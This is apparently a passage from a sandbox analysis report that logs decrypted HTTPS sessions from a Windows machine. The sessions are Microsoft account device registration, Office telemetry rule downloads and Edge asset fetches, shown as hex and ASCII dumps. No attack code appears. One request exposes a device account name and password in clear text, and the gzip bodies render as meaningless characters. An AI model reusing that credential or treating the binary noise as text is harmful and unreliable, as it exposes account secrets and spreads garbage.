2024-11-16 18:22:27 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-16 18:22:27 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 68 73 6b 62 6e 61 66 6c 78 62 6d 6d 69 6f 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 57 56 4a 47 4b 7a 5a 71 61 30 64 41 57 6b 61 61 34 38 74 43 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02hskbnaflxbmmio</Membername><Password>WVJGKzZqa0dAWkaa48tC</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-16 18:22:32 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Sat, 16 Nov 2024 18:21:27 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BAY x-ms-request-id: 23af3098-7dc1-42d8-a016-c3e05b1966fd PPServer: PPV: 30 H: PH1PEPF0001200C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 16 Nov 2024 18:22:31 GMT Connection: close Content-Length: 17166
2024-11-16 18:22:32 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 43 30 30 46 31 41 45 38 34 44 33 43 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 66 63 34 32 35 37 63 33 2d 33 64 37 36 2d 34 62 64 39 2d 62 66 36 39 2d 32 62 37 65 36 39 65 38 33 65 35 31 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018C00F1AE84D3C</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="fc4257c3-3d76-4bd9-bf69-2b7e69e83e51" LicenseID="3252b20c-d425-4711
2024-11-16 18:22:32 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49785	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:27 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-16 18:22:27 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-16 18:22:28 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 16 Nov 2024 18:21:27 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: d60894cd-044a-4cf0-8b51-1c86fab2fac1 PPServer: PPV: 30 H: SN1PEPF0002FAA6 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 16 Nov 2024 18:22:27 GMT Connection: close Content-Length: 1276
2024-11-16 18:22:28 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:27 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 30929569-101e-008d-79ff-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182227Z-16547b76f7fwggrphC1DFW2a8s00000001xg00000000rgse x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49798	13.107.246.45	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:27 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:28 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:28 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: 061331ed-e01e-004f-6254-38ac1f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T182227Z-164f84587bfdl84ghC1DFWbbhc000000038g00000000kkxd Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-16 18:22:28 UTC	15821	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-16 18:22:28 UTC	16384	IN	Data Raw: 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 Data Ascii: ,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7
2024-11-16 18:22:28 UTC	16384	IN	Data Raw: d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd Data Ascii: M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q
2024-11-16 18:22:28 UTC	16384	IN	Data Raw: 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 Data Ascii: H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}e
2024-11-16 18:22:28 UTC	5234	IN	Data Raw: 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 Data Ascii: NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:27 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:27 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: c0c1bc10-001e-0049-5509-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182227Z-1866b5c5fbbr78bbhC1DFWqz2n00000003ag000000007n4a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:27 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:27 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:27 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: d03fa3d0-501e-0035-53af-36c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182227Z-1866b5c5fbbldb6rhC1DFW4bew00000003d0000000008apc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:27 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:27 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 5d8d4d17-101e-007a-18d2-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182227Z-1866b5c5fbbwmdwxhC1DFW5fbn00000000rg000000007qp9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
